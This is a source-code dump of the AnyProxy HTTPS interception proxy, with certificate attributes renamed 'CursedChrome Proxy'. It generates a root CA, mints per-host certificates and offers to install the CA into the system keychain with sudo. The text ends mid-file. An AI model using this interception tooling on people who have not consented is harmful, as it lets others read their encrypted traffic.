https://img.shields.io/npm/dm/anyproxy.svg?style=flat-square 13 | [download-url]: https://npmjs.org/package/anyproxy 14 | 15 | AnyProxy is A fully configurable HTTP/HTTPS proxy in NodeJS. 16 | 17 | Home page : [AnyProxy.io](http://anyproxy.io) 18 | 19 | Issue: https://github.com/alibaba/anyproxy/issues 20 | 21 | AnyProxy是一个基于NodeJS的,可供插件配置的HTTP/HTTPS代理服务器。 22 | 23 | 主页:[AnyProxy.io](http://anyproxy.io),访问可能需要稳定的国际网络环境 24 | 25 | ![](https://gw.alipayobjects.com/zos/rmsportal/gUfcjGxLONndTfllxynC.jpg@_90q) 26 | 27 | ---------------- 28 | 29 | Legacy doc of version 3.x : https://github.com/alibaba/anyproxy/wiki/3.x-docs -------------------------------------------------------------------------------- /anyproxy/bin/anyproxy: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | 'use strict'; 4 | 5 | const program = require('commander'), 6 | color = require('colorful'), 7 | co = require('co'), 8 | packageInfo = require('../package.json'), 9 | util = require('../lib/util'), 10 | rootCACheck = require('./rootCACheck'), 11 | startServer = require('./startServer'), 12 | logUtil = require('../lib/log'); 13 | 14 | program 15 | .version(packageInfo.version) 16 | .option('-p, --port [value]', 'proxy port, 8001 for default') 17 | .option('-w, --web [value]', 'web GUI port, 8002 for default') 18 | .option('-r, --rule [value]', 'path for rule file,') 19 | .option('-l, --throttle [value]', 'throttle speed in kb/s (kbyte / sec)') 20 | .option('-i, --intercept', 'intercept(decrypt) https requests when root CA exists') 21 | .option('-s, --silent', 'do not print anything into terminal') 22 | .option('-c, --clear', 'clear all the certificates and temp files') 23 | .option('--ws-intercept', 'intercept websocket') 24 | .option('--ignore-unauthorized-ssl', 'ignore all ssl error') 25 | .parse(process.argv); 26 | 27 | if (program.clear) { 28 | require('../lib/certMgr').clearCerts(() => { 29 | util.deleteFolderContentsRecursive(util.getAnyProxyPath('cache')); 30 | console.log(color.green('done !')); 31 | process.exit(0); 32 | }); 33 | } else if (program.root) { 34 | require('../lib/certMgr').generateRootCA(() => { 35 | process.exit(0); 36 | }); 37 | } else { 38 | co(function *() { 39 | if (program.silent) { 40 | logUtil.setPrintStatus(false); 41 | } 42 | 43 | if (program.intercept) { 44 | try { 45 | yield rootCACheck(); 46 | } catch (e) { 47 | console.error(e); 48 | } 49 | } 50 | 51 | return startServer(program); 52 | }) 53 | } 54 | 55 | -------------------------------------------------------------------------------- /anyproxy/bin/anyproxy-ca: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | 'use strict' 4 | 5 | // exist-false, trusted-false : create CA 6 | // exist-true, trusted-false : trust CA 7 | // exist-true, trusted-true : all things done 8 | const program = require('commander'); 9 | const color = require('colorful'); 10 | const certMgr = require('../lib/certMgr'); 11 | const AnyProxy = require('../proxy'); 12 | const exec = require('child_process').exec; 13 | const co = require('co'); 14 | const path = require('path'); 15 | const inquirer = require('inquirer'); 16 | 17 | program 18 | .option('-c, --clear', 'clear all the tmp certificates and root CA') 19 | .option('-g, --generate', 'generate a new rootCA') 20 | .parse(process.argv); 21 | 22 | function openFolderOfFile(filePath) { 23 | const isWin = /^win/.test(process.platform); 24 | if (isWin) { 25 | exec('start .', { cwd: path.dirname(filePath) }); 26 | } else { 27 | exec(`open -R ${filePath}`); 28 | } 29 | } 30 | 31 | function guideToGenrateCA() { 32 | AnyProxy.utils.certMgr.generateRootCA((error, keyPath, crtPath) => { 33 | if (!error) { 34 | const certDir = path.dirname(keyPath); 35 | console.log(`The cert is generated at ${certDir}. Please trust the ${color.bold('rootCA.crt')}.`); 36 | // TODO: console.log('guide to install'); 37 | openFolderOfFile(crtPath); 38 | } else { 39 | console.error('failed to generate rootCA', error); 40 | } 41 | }); 42 | } 43 | 44 | function guideToTrustCA() { 45 | const certPath = AnyProxy.utils.certMgr.getRootCAFilePath(); 46 | if (certPath) { 47 | // TODO: console.log('guide to install'); 48 | openFolderOfFile(certPath); 49 | } else { 50 | console.error('failed to get cert path'); 51 | } 52 | } 53 | 54 | if (program.clear) { 55 | AnyProxy.utils.certMgr.clearCerts(() => { 56 | console.log(color.green('done !')); 57 | }); 58 | } else if (program.generate) { 59 | guideToGenrateCA(); 60 | } else { 61 | console.log('detecting CA status...'); 62 | co(certMgr.getCAStatus) 63 | .then(status => { 64 | if (!status.exist) { 65 | console.log('AnyProxy CA does not exist.'); 66 | const questions = [{ 67 | type: 'confirm', 68 | name: 'ifCreate', 69 | message: 'Would you like to generate one ?', 70 | default: true 71 | }]; 72 | inquirer.prompt(questions).then(answers => { 73 | if (answers.ifCreate) { 74 | guideToGenrateCA(); 75 | } 76 | }); 77 | } else if (!status.trusted) { 78 | if (/^win/.test(process.platform)) { 79 | console.log('AnyProxy CA exists, make sure it has been trusted'); 80 | } else { 81 | console.log('AnyProxy CA exists, but not be trusted'); 82 | const questions = [{ 83 | type: 'confirm', 84 | name: 'ifGotoTrust', 85 | message: 'Would you like to open the folder and trust it ?', 86 | default: true 87 | }]; 88 | inquirer.prompt(questions).then(answers => { 89 | if (answers.ifGotoTrust) { 90 | guideToTrustCA(); 91 | } 92 | }); 93 | } 94 | // AnyProxy.utils.certMgr.clearCerts() 95 | } else { 96 | console.log(color.green('AnyProxy CA has already been trusted')); 97 | } 98 | }) 99 | .catch(e => { 100 | console.log(e); 101 | }) 102 | } 103 | -------------------------------------------------------------------------------- /anyproxy/bin/rootCACheck.js: -------------------------------------------------------------------------------- 1 | /** 2 | * check if root CA exists and installed 3 | * will prompt to generate when needed 4 | */ 5 | 6 | const thunkify = require('thunkify'); 7 | const AnyProxy = require('../proxy'); 8 | const logUtil = require('../lib/log'); 9 | 10 | const certMgr = AnyProxy.utils.certMgr; 11 | 12 | function checkRootCAExists() { 13 | return certMgr.isRootCAFileExists(); 14 | } 15 | 16 | module.exports = function *() { 17 | try { 18 | if (!checkRootCAExists()) { 19 | logUtil.warn('Missing root CA, generating now'); 20 | yield thunkify(certMgr.generateRootCA)(); 21 | yield certMgr.trustRootCA(); 22 | } else { 23 | const isCATrusted = yield thunkify(certMgr.ifRootCATrusted)(); 24 | if (!isCATrusted) { 25 | logUtil.warn('ROOT CA NOT INSTALLED YET'); 26 | yield certMgr.trustRootCA(); 27 | } 28 | } 29 | } catch (e) { 30 | console.error(e); 31 | } 32 | }; 33 | 34 | -------------------------------------------------------------------------------- /anyproxy/bin/startServer.js: -------------------------------------------------------------------------------- 1 | /** 2 | * start the AnyProxy server 3 | */ 4 | 5 | const ruleLoader = require('../lib/ruleLoader'); 6 | const logUtil = require('../lib/log'); 7 | const AnyProxy = require('../proxy'); 8 | 9 | module.exports = function startServer(program) { 10 | let proxyServer; 11 | // load rule module 12 | new Promise((resolve, reject) => { 13 | if (program.rule) { 14 | resolve(ruleLoader.requireModule(program.rule)); 15 | } else { 16 | resolve(null); 17 | } 18 | }) 19 | .catch(e => { 20 | logUtil.printLog('Failed to load rule file', logUtil.T_ERR); 21 | logUtil.printLog(e, logUtil.T_ERR); 22 | process.exit(); 23 | }) 24 | 25 | //start proxy 26 | .then(ruleModule => { 27 | proxyServer = new AnyProxy.ProxyServer({ 28 | type: 'http', 29 | port: program.port || 8001, 30 | throttle: program.throttle, 31 | rule: ruleModule, 32 | webInterface: { 33 | enable: true, 34 | webPort: program.web, 35 | }, 36 | wsIntercept: program.wsIntercept, 37 | forceProxyHttps: program.intercept, 38 | dangerouslyIgnoreUnauthorized: !!program.ignoreUnauthorizedSsl, 39 | silent: program.silent 40 | }); 41 | // proxyServer.on('ready', () => {}); 42 | proxyServer.start(); 43 | }) 44 | .catch(e => { 45 | logUtil.printLog(e, logUtil.T_ERR); 46 | if (e && e.code) { 47 | logUtil.printLog('code ' + e.code, logUtil.T_ERR); 48 | } 49 | logUtil.printLog(e.stack, logUtil.T_ERR); 50 | }); 51 | 52 | 53 | process.on('exit', (code) => { 54 | if (code > 0) { 55 | logUtil.printLog('AnyProxy is about to exit with code: ' + code, logUtil.T_ERR); 56 | } 57 | 58 | process.exit(); 59 | }); 60 | 61 | //exit cause ctrl+c 62 | process.on('SIGINT', () => { 63 | try { 64 | proxyServer && proxyServer.close(); 65 | } catch (e) { 66 | console.error(e); 67 | } 68 | process.exit(); 69 | }); 70 | 71 | process.on('uncaughtException', (err) => { 72 | let errorTipText = 'got an uncaught exception, is there anything goes wrong in your rule file ?\n'; 73 | try { 74 | if (err && err.stack) { 75 | errorTipText += err.stack; 76 | } else { 77 | errorTipText += err; 78 | } 79 | } catch (e) { } 80 | logUtil.printLog(errorTipText, logUtil.T_ERR); 81 | try { 82 | proxyServer && proxyServer.close(); 83 | } catch (e) { } 84 | process.exit(); 85 | }); 86 | } 87 | -------------------------------------------------------------------------------- /anyproxy/lib/certMgr.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | const EasyCert = require('./node-easy-cert/index.js'); 4 | const co = require('co'); 5 | const os = require('os'); 6 | const inquirer = require('inquirer'); 7 | 8 | const util = require('./util'); 9 | const logUtil = require('./log'); 10 | 11 | const options = { 12 | rootDirPath: util.getAnyProxyPath('certificates'), 13 | inMemory: false, 14 | defaultCertAttrs: [ 15 | { name: 'countryName', value: 'US' }, 16 | { name: 'organizationName', value: 'CursedChrome Proxy' }, 17 | { shortName: 'ST', value: 'CA' }, 18 | { shortName: 'OU', value: 'CursedChrome Browser Proxy' } 19 | ] 20 | }; 21 | 22 | const easyCert = new EasyCert(options); 23 | const crtMgr = util.merge({}, easyCert); 24 | 25 | // rename function 26 | crtMgr.ifRootCAFileExists = easyCert.isRootCAFileExists; 27 | 28 | crtMgr.generateRootCA = function (cb) { 29 | doGenerate(false); 30 | 31 | // set default common name of the cert 32 | function doGenerate(overwrite) { 33 | const rootOptions = { 34 | commonName: 'CursedChrome Proxy', 35 | overwrite: !!overwrite 36 | }; 37 | 38 | easyCert.generateRootCA(rootOptions, (error, keyPath, crtPath) => { 39 | cb(error, keyPath, crtPath); 40 | }); 41 | } 42 | }; 43 | 44 | crtMgr.getCAStatus = function *() { 45 | return co(function *() { 46 | const result = { 47 | exist: false, 48 | }; 49 | const ifExist = easyCert.isRootCAFileExists(); 50 | if (!ifExist) { 51 | return result; 52 | } else { 53 | result.exist = true; 54 | if (!/^win/.test(process.platform)) { 55 | result.trusted = yield easyCert.ifRootCATrusted; 56 | } 57 | return result; 58 | } 59 | }); 60 | } 61 | 62 | /** 63 | * trust the root ca by command 64 | */ 65 | crtMgr.trustRootCA = function *() { 66 | const platform = os.platform(); 67 | const rootCAPath = crtMgr.getRootCAFilePath(); 68 | const trustInquiry = [ 69 | { 70 | type: 'list', 71 | name: 'trustCA', 72 | message: 'The rootCA is not trusted yet, install it to the trust store now?', 73 | choices: ['Yes', "No, I'll do it myself"] 74 | } 75 | ]; 76 | 77 | if (platform === 'darwin') { 78 | const answer = yield inquirer.prompt(trustInquiry); 79 | if (answer.trustCA === 'Yes') { 80 | logUtil.info('About to trust the root CA, this may requires your password'); 81 | // https://ss64.com/osx/security-cert.html 82 | const result = util.execScriptSync(`sudo security add-trusted-cert -d -k /Library/Keychains/System.keychain ${rootCAPath}`); 83 | if (result.status === 0) { 84 | logUtil.info('Root CA install, you are ready to intercept the https now'); 85 | } else { 86 | console.error(result); 87 | logUtil.info('Failed to trust the root CA, please trust it manually'); 88 | util.guideToHomePage(); 89 | } 90 | } else { 91 | logUtil.info('Please trust the root CA manually so https interception works'); 92 | util.guideToHomePage(); 93 | } 94 | } 95 | 96 | 97 | if (/^win/.test(process.platform)) { 98 | logUtil.info('You can install the root CA manually.'); 99 | } 100 | logUtil.info('The root CA file path is: ' + crtMgr.getRootCAFilePath()); 101 | } 102 | 103 | module.exports = crtMgr; 104 | -------------------------------------------------------------------------------- /anyproxy/lib/configUtil.js: -------------------------------------------------------------------------------- 1 | /** 2 | * a util to set and get all configuable constant 3 | * 4 | */ 5 | const path = require('path'); 6 | 7 | const USER_HOME = process.env.HOME || process.env.USERPROFILE; 8 | const DEFAULT_ANYPROXY_HOME = path.join(USER_HOME, '/.anyproxy/'); 9 | 10 | /** 11 | * return AnyProxy's home path 12 | */ 13 | module.exports.getAnyProxyHome = function () { 14 | const ENV_ANYPROXY_HOME = process.env.ANYPROXY_HOME || ''; 15 | return ENV_ANYPROXY_HOME || DEFAULT_ANYPROXY_HOME; 16 | } 17 | -------------------------------------------------------------------------------- /anyproxy/lib/httpsServerMgr.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | //manage https servers 4 | const async = require('async'), 5 | https = require('https'), 6 | tls = require('tls'), 7 | crypto = require('crypto'), 8 | color = require('colorful'), 9 | certMgr = require('./certMgr'), 10 | logUtil = require('./log'), 11 | util = require('./util'), 12 | wsServerMgr = require('./wsServerMgr'), 13 | co = require('co'), 14 | constants = require('constants'), 15 | asyncTask = require('async-task-mgr'); 16 | 17 | const createSecureContext = tls.createSecureContext || crypto.createSecureContext; 18 | //using sni to avoid multiple ports 19 | function SNIPrepareCert(serverName, SNICallback) { 20 | let keyContent, 21 | crtContent, 22 | ctx; 23 | 24 | async.series([ 25 | (callback) => { 26 | certMgr.getCertificate(serverName, (err, key, crt) => { 27 | if (err) { 28 | callback(err); 29 | } else { 30 | keyContent = key; 31 | crtContent = crt; 32 | callback(); 33 | } 34 | }); 35 | }, 36 | (callback) => { 37 | try { 38 | ctx = createSecureContext({ 39 | key: keyContent, 40 | cert: crtContent 41 | }); 42 | callback(); 43 | } catch (e) { 44 | callback(e); 45 | } 46 | } 47 | ], (err) => { 48 | if (!err) { 49 | const tipText = 'proxy server for __NAME established'.replace('__NAME', serverName); 50 | logUtil.printLog(color.yellow(color.bold('[internal https]')) + color.yellow(tipText)); 51 | SNICallback(null, ctx); 52 | } else { 53 | logUtil.printLog('err occurred when prepare certs for SNI - ' + err, logUtil.T_ERR); 54 | logUtil.printLog('err occurred when prepare certs for SNI - ' + err.stack, logUtil.T_ERR); 55 | } 56 | }); 57 | } 58 | 59 | //config.port - port to start https server 60 | //config.handler - request handler 61 | 62 | 63 | /** 64 | * Create an https server 65 | * 66 | * @param {object} config 67 | * @param {number} config.port 68 | * @param {function} config.handler 69 | */ 70 | function createHttpsServer(config) { 71 | if (!config || !config.port || !config.handler) { 72 | throw (new Error('please assign a port')); 73 | } 74 | 75 | return new Promise((resolve) => { 76 | certMgr.getCertificate('anyproxy_internal_https_server', (err, keyContent, crtContent) => { 77 | const server = https.createServer({ 78 | secureOptions: constants.SSL_OP_NO_SSLv3 || constants.SSL_OP_NO_TLSv1, 79 | SNICallback: SNIPrepareCert, 80 | key: keyContent, 81 | cert: crtContent 82 | }, config.handler).listen(config.port); 83 | resolve(server); 84 | }); 85 | }); 86 | } 87 | 88 | /** 89 | * create an https server that serving on IP address 90 | * @param @required {object} config 91 | * @param @required {string} config.ip the IP address of the server 92 | * @param @required {number} config.port the port to listen on 93 | * @param @required {function} handler the handler of each connect 94 | */ 95 | function createIPHttpsServer(config) { 96 | if (!config || !config.port || !config.handler) { 97 | throw (new Error('please assign a port')); 98 | } 99 | 100 | if (!config.ip) { 101 | throw (new Error('please assign an IP to create the https server')); 102 | } 103 | 104 | return new Promise((resolve) => { 105 | certMgr.getCertificate(config.ip, (err, keyContent, crtContent) => { 106 | const server = https.createServer({ 107 | secureOptions: constants.SSL_OP_NO_SSLv3 || constants.SSL_OP_NO_TLSv1, 108 | key: keyContent, 109 | cert: crtContent 110 | }, config.handler).listen(config.port); 111 | 112 | resolve(server); 113 | }); 114 | }); 115 | } 116 | 117 | /** 118 | * 119 | * 120 | * @class httpsServerMgr 121 | * @param {object} config 122 | * @param {function} config.handler handler to deal https request 123 | * 124 | */ 125 | class httpsServerMgr { 126 | constructor(config) { 127 | if (!config || !config.handler) { 128 | throw new Error('handler is required'); 129 | } 130 | this.instanceDefaultHost = '127.0.0.1'; 131 | this.httpsAsyncTask = new asyncTask(); 132 | this.handler = config.handler; 133 | this.wsHandler = config.wsHandler 134 | } 135 | 136 | getSharedHttpsServer(hostname) { 137 | // ip address will have a unique name 138 | const finalHost = util.isIpDomain(hostname) ? hostname : this.instanceDefaultHost; 139 | 140 | const self = this; 141 | function prepareServer(callback) { 142 | let instancePort; 143 | co(util.getFreePort) 144 | .then(co.wrap(function *(port) { 145 | instancePort = port; 146 | let httpsServer = null; 147 | 148 | // if ip address passed in, will create an IP http server 149 | if (util.isIpDomain(hostname)) { 150 | httpsServer = yield createIPHttpsServer({ 151 | ip: hostname, 152 | port, 153 | handler: self.handler 154 | }); 155 | } else { 156 | httpsServer = yield createHttpsServer({ 157 | port, 158 | handler: self.handler 159 | }); 160 | } 161 | 162 | wsServerMgr.getWsServer({ 163 | server: httpsServer, 164 | connHandler: self.wsHandler 165 | }); 166 | 167 | httpsServer.on('upgrade', (req, cltSocket, head) => { 168 | logUtil.debug('will let WebSocket server to handle the upgrade event'); 169 | }); 170 | 171 | const result = { 172 | host: finalHost, 173 | port: instancePort, 174 | }; 175 | callback(null, result); 176 | return result; 177 | })) 178 | .catch(e => { 179 | callback(e); 180 | }); 181 | } 182 | 183 | return new Promise((resolve, reject) => { 184 | // each ip address will gain a unit task name, 185 | // while the domain address will share a common task name 186 | self.httpsAsyncTask.addTask(`createHttpsServer-${finalHost}`, prepareServer, (error, serverInfo) => { 187 | if (error) { 188 | reject(error); 189 | } else { 190 | resolve(serverInfo); 191 | } 192 | }); 193 | }); 194 | } 195 | } 196 | 197 | module.exports = httpsServerMgr; 198 | -------------------------------------------------------------------------------- /anyproxy/lib/log.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | const color = require('colorful'); 4 | const util = require('./util'); 5 | 6 | let ifPrint = true; 7 | let logLevel = 0; 8 | const LogLevelMap = { 9 | tip: 0, 10 | system_error: 1, 11 | rule_error: 2, 12 | warn: 3, 13 | debug: 4, 14 | }; 15 | 16 | function setPrintStatus(status) { 17 | ifPrint = !!status; 18 | } 19 | 20 | function setLogLevel(level) { 21 | logLevel = parseInt(level, 10); 22 | } 23 | 24 | function printLog(content, type) { 25 | if (!ifPrint) { 26 | return; 27 | } 28 | 29 | const timeString = util.formatDate(new Date(), 'YYYY-MM-DD hh:mm:ss'); 30 | switch (type) { 31 | case LogLevelMap.tip: { 32 | if (logLevel > 0) { 33 | return; 34 | } 35 | console.log(color.cyan(`[AnyProxy Log][${timeString}]: ` + content)); 36 | break; 37 | } 38 | 39 | case LogLevelMap.system_error: { 40 | if (logLevel > 1) { 41 | return; 42 | } 43 | console.error(color.red(`[AnyProxy ERROR][${timeString}]: ` + content)); 44 | break; 45 | } 46 | 47 | case LogLevelMap.rule_error: { 48 | if (logLevel > 2) { 49 | return; 50 | } 51 | 52 | console.error(color.red(`[AnyProxy RULE_ERROR][${timeString}]: ` + content)); 53 | break; 54 | } 55 | 56 | case LogLevelMap.warn: { 57 | if (logLevel > 3) { 58 | return; 59 | } 60 | 61 | console.error(color.yellow(`[AnyProxy WARN][${timeString}]: ` + content)); 62 | break; 63 | } 64 | 65 | case LogLevelMap.debug: { 66 | console.log(color.cyan(`[AnyProxy Log][${timeString}]: ` + content)); 67 | return; 68 | } 69 | 70 | default : { 71 | console.log(color.cyan(`[AnyProxy Log][${timeString}]: ` + content)); 72 | break; 73 | } 74 | } 75 | } 76 | 77 | module.exports.printLog = printLog; 78 | 79 | module.exports.debug = (content) => { 80 | printLog(content, LogLevelMap.debug); 81 | }; 82 | 83 | module.exports.info = (content) => { 84 | printLog(content, LogLevelMap.tip); 85 | }; 86 | 87 | module.exports.warn = (content) => { 88 | printLog(content, LogLevelMap.warn); 89 | }; 90 | 91 | module.exports.error = (content) => { 92 | printLog(content, LogLevelMap.system_error); 93 | }; 94 | 95 | module.exports.ruleError = (content) => { 96 | printLog(content, LogLevelMap.rule_error); 97 | }; 98 | 99 | module.exports.setPrintStatus = setPrintStatus; 100 | module.exports.setLogLevel = setLogLevel; 101 | module.exports.T_TIP = LogLevelMap.tip; 102 | module.exports.T_ERR = LogLevelMap.system_error; 103 | module.exports.T_RULE_ERROR = LogLevelMap.rule_error; 104 | module.exports.T_WARN = LogLevelMap.warn; 105 | module.exports.T_DEBUG = LogLevelMap.debug; 106 | -------------------------------------------------------------------------------- /anyproxy/lib/node-easy-cert/certGenerator.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | const forge = require('node-forge'); 4 | const Util = require('./util'); 5 | 6 | let defaultAttrs = [ 7 | { name: 'countryName', value: 'CN' }, 8 | { name: 'organizationName', value: 'EasyCert' }, 9 | { shortName: 'ST', value: 'SH' }, 10 | { shortName: 'OU', value: 'EasyCert SSL' } 11 | ]; 12 | 13 | /** 14 | * different domain format needs different SAN 15 | * 16 | */ 17 | function getExtensionSAN(domain = '') { 18 | const isIpDomain = Util.isIpDomain(domain); 19 | if (isIpDomain) { 20 | return { 21 | name: 'subjectAltName', 22 | altNames: [{ type: 7, ip: domain }] 23 | }; 24 | } else { 25 | return { 26 | name: 'subjectAltName', 27 | altNames: [{ type: 2, value: domain }] 28 | }; 29 | } 30 | } 31 | 32 | function getKeysAndCert(serialNumber) { 33 | const keys = forge.pki.rsa.generateKeyPair(2048); 34 | const cert = forge.pki.createCertificate(); 35 | cert.publicKey = keys.publicKey; 36 | cert.serialNumber = (Math.floor(Math.random() * 100000) + ''); 37 | console.log(`serial #${cert.serialNumber}`) 38 | var now = Date.now(); 39 | // compatible with apple's updated cert policy: https://support.apple.com/en-us/HT210176 40 | cert.validity.notBefore = new Date(now - 24 * 60 * 60 * 1000); // 1 day before 41 | cert.validity.notAfter = new Date(now + 824 * 24 * 60 * 60 * 1000); // 824 days after 42 | return { 43 | keys, 44 | cert 45 | }; 46 | } 47 | 48 | function generateRootCA(commonName) { 49 | const keysAndCert = getKeysAndCert(); 50 | const keys = keysAndCert.keys; 51 | const cert = keysAndCert.cert; 52 | 53 | commonName = commonName || 'CertManager'; 54 | 55 | const attrs = defaultAttrs.concat([ 56 | { 57 | name: 'commonName', 58 | value: commonName 59 | } 60 | ]); 61 | cert.setSubject(attrs); 62 | cert.setIssuer(attrs); 63 | cert.setExtensions([ 64 | { name: 'basicConstraints', cA: true }, 65 | // { name: 'keyUsage', keyCertSign: true, digitalSignature: true, nonRepudiation: true, keyEncipherment: true, dataEncipherment: true }, 66 | // { name: 'extKeyUsage', serverAuth: true, clientAuth: true, codeSigning: true, emailProtection: true, timeStamping: true }, 67 | // { name: 'nsCertType', client: true, server: true, email: true, objsign: true, sslCA: true, emailCA: true, objCA: true }, 68 | // { name: 'subjectKeyIdentifier' } 69 | ]); 70 | 71 | cert.sign(keys.privateKey, forge.md.sha256.create()); 72 | 73 | return { 74 | privateKey: forge.pki.privateKeyToPem(keys.privateKey), 75 | publicKey: forge.pki.publicKeyToPem(keys.publicKey), 76 | certificate: forge.pki.certificateToPem(cert) 77 | }; 78 | } 79 | 80 | function generateCertsForHostname(domain, rootCAConfig) { 81 | // generate a serialNumber for domain 82 | const md = forge.md.md5.create(); 83 | md.update(domain); 84 | 85 | const keysAndCert = getKeysAndCert(md.digest().toHex()); 86 | const keys = keysAndCert.keys; 87 | const cert = keysAndCert.cert; 88 | 89 | const caCert = forge.pki.certificateFromPem(rootCAConfig.cert); 90 | const caKey = forge.pki.privateKeyFromPem(rootCAConfig.key); 91 | 92 | // issuer from CA 93 | cert.setIssuer(caCert.subject.attributes); 94 | 95 | const attrs = defaultAttrs.concat([ 96 | { 97 | name: 'commonName', 98 | value: domain 99 | } 100 | ]); 101 | 102 | const extensions = [ 103 | { name: 'basicConstraints', cA: false }, 104 | getExtensionSAN(domain) 105 | ]; 106 | 107 | cert.setSubject(attrs); 108 | cert.setExtensions(extensions); 109 | 110 | cert.sign(caKey, forge.md.sha256.create()); 111 | 112 | return { 113 | privateKey: forge.pki.privateKeyToPem(keys.privateKey), 114 | publicKey: forge.pki.publicKeyToPem(keys.publicKey), 115 | certificate: forge.pki.certificateToPem(cert) 116 | }; 117 | } 118 | 119 | // change the default attrs 120 | function setDefaultAttrs(attrs) { 121 | defaultAttrs = attrs; 122 | } 123 | 124 | module.exports.generateRootCA = generateRootCA; 125 | module.exports.generateCertsForHostname = generateCertsForHostname; 126 | module.exports.setDefaultAttrs = setDefaultAttrs; 127 | -------------------------------------------------------------------------------- /anyproxy/lib/node-easy-cert/errorConstants.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Map all the error code here 3 | * 4 | */ 5 | 6 | 'use strict'; 7 | 8 | module.exports = { 9 | ROOT_CA_NOT_EXISTS: 'ROOT_CA_NOT_EXISTS', // root CA has not been generated yet 10 | ROOT_CA_EXISTED: 'ROOT_CA_EXISTED', // root CA was existed, be ware that it will be overwrited 11 | ROOT_CA_COMMON_NAME_UNSPECIFIED: 'ROOT_CA_COMMON_NAME_UNSPECIFIED' // commonName for rootCA is required 12 | }; 13 | -------------------------------------------------------------------------------- /anyproxy/lib/node-easy-cert/index.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | delete require.cache['./certGenerator']; 4 | 5 | const path = require('path'), 6 | fs = require('fs'), 7 | color = require('colorful'), 8 | certGenerator = require('./certGenerator'), 9 | util = require('./util'), 10 | Errors = require('./errorConstants'), 11 | https = require('https'), 12 | AsyncTask = require('async-task-mgr'), 13 | winCertUtil = require('./winCertUtil'), 14 | exec = require('child_process').exec; 15 | 16 | const DOMAIN_TO_VERIFY_HTTPS = 'localtest.me'; 17 | 18 | function getPort() { 19 | return new Promise((resolve, reject) => { 20 | const server = require('net').createServer(); 21 | server.unref(); 22 | server.on('error', reject); 23 | server.listen(0, () => { 24 | const port = server.address().port; 25 | server.close(() => { 26 | resolve(port); 27 | }); 28 | }); 29 | }); 30 | } 31 | 32 | function CertManager(options) { 33 | options = options || {}; 34 | const rootDirName = util.getDefaultRootDirName(); 35 | const rootDirPath = options.rootDirPath || path.join(util.getUserHome(), '/' + rootDirName + '/'); 36 | 37 | if (options.defaultCertAttrs) { 38 | certGenerator.setDefaultAttrs(options.defaultCertAttrs); 39 | } 40 | 41 | const certDir = rootDirPath, 42 | rootCAcrtFilePath = path.join(certDir, 'rootCA.crt'), 43 | rootCAkeyFilePath = path.join(certDir, 'rootCA.key'), 44 | createCertTaskMgr = new AsyncTask(); 45 | let cacheRootCACrtFileContent, 46 | cacheRootCAKeyFileContent; 47 | let rootCAExists = false; 48 | 49 | if (!fs.existsSync(certDir)) { 50 | try { 51 | fs.mkdirSync(certDir, '0777'); 52 | } catch (e) { 53 | console.log('==========='); 54 | console.log('failed to create cert dir ,please create one by yourself - ' + certDir); 55 | console.log('==========='); 56 | } 57 | } 58 | 59 | function getCertificate(hostname, certCallback) { 60 | if (!_checkRootCA()) { 61 | console.log(color.yellow('please generate root CA before getting certificate for sub-domains')); 62 | certCallback && certCallback(Errors.ROOT_CA_NOT_EXISTS); 63 | return; 64 | } 65 | const keyFile = path.join(certDir, '__hostname.key'.replace(/__hostname/, hostname)), 66 | crtFile = path.join(certDir, '__hostname.crt'.replace(/__hostname/, hostname)); 67 | 68 | if (!cacheRootCACrtFileContent || !cacheRootCAKeyFileContent) { 69 | cacheRootCACrtFileContent = fs.readFileSync(rootCAcrtFilePath, { encoding: 'utf8' }); 70 | cacheRootCAKeyFileContent = fs.readFileSync(rootCAkeyFilePath, { encoding: 'utf8' }); 71 | } 72 | 73 | createCertTaskMgr.addTask(hostname, (callback) => { 74 | if (!fs.existsSync(keyFile) || !fs.existsSync(crtFile)) { 75 | try { 76 | const result = certGenerator.generateCertsForHostname(hostname, { 77 | cert: cacheRootCACrtFileContent, 78 | key: cacheRootCAKeyFileContent 79 | }); 80 | fs.writeFileSync(keyFile, result.privateKey); 81 | fs.writeFileSync(crtFile, result.certificate); 82 | callback(null, result.privateKey, result.certificate); 83 | } catch (e) { 84 | callback(e); 85 | } 86 | } else { 87 | callback(null, fs.readFileSync(keyFile), fs.readFileSync(crtFile)); 88 | } 89 | }, (err, keyContent, crtContent) => { 90 | if (!err) { 91 | certCallback(null, keyContent, crtContent); 92 | } else { 93 | certCallback(err); 94 | } 95 | }); 96 | } 97 | 98 | function clearCerts(cb) { 99 | util.deleteFolderContentsRecursive(certDir); 100 | cb && cb(); 101 | } 102 | 103 | function isRootCAFileExists() { 104 | return (fs.existsSync(rootCAcrtFilePath) && fs.existsSync(rootCAkeyFilePath)); 105 | } 106 | 107 | function generateRootCA(config, certCallback) { 108 | if (!config || !config.commonName) { 109 | console.error(color.red('The "config.commonName" for rootCA is required, please specify.')); 110 | certCallback(Errors.ROOT_CA_COMMON_NAME_UNSPECIFIED); 111 | return; 112 | } 113 | 114 | if (isRootCAFileExists()) { 115 | if (config.overwrite) { 116 | startGenerating(config.commonName, certCallback); 117 | } else { 118 | console.error(color.red('The rootCA exists already, if you want to overwrite it, please specify the "config.overwrite=true"')); 119 | certCallback(Errors.ROOT_CA_EXISTED); 120 | } 121 | } else { 122 | startGenerating(config.commonName, certCallback); 123 | } 124 | 125 | function startGenerating(commonName, cb) { 126 | // clear old certs 127 | clearCerts(() => { 128 | console.log(color.green('temp certs cleared')); 129 | try { 130 | const result = certGenerator.generateRootCA(commonName); 131 | fs.writeFileSync(rootCAkeyFilePath, result.privateKey); 132 | fs.writeFileSync(rootCAcrtFilePath, result.certificate); 133 | 134 | console.log(color.green('rootCA generated')); 135 | console.log(color.green(color.bold('PLEASE TRUST the rootCA.crt in ' + certDir))); 136 | 137 | cb && cb(null, rootCAkeyFilePath, rootCAcrtFilePath); 138 | } catch (e) { 139 | console.log(color.red(e)); 140 | console.log(color.red(e.stack)); 141 | console.log(color.red('fail to generate root CA')); 142 | cb && cb(e); 143 | } 144 | }); 145 | } 146 | } 147 | 148 | function getRootCAFilePath() { 149 | return isRootCAFileExists() ? rootCAcrtFilePath : 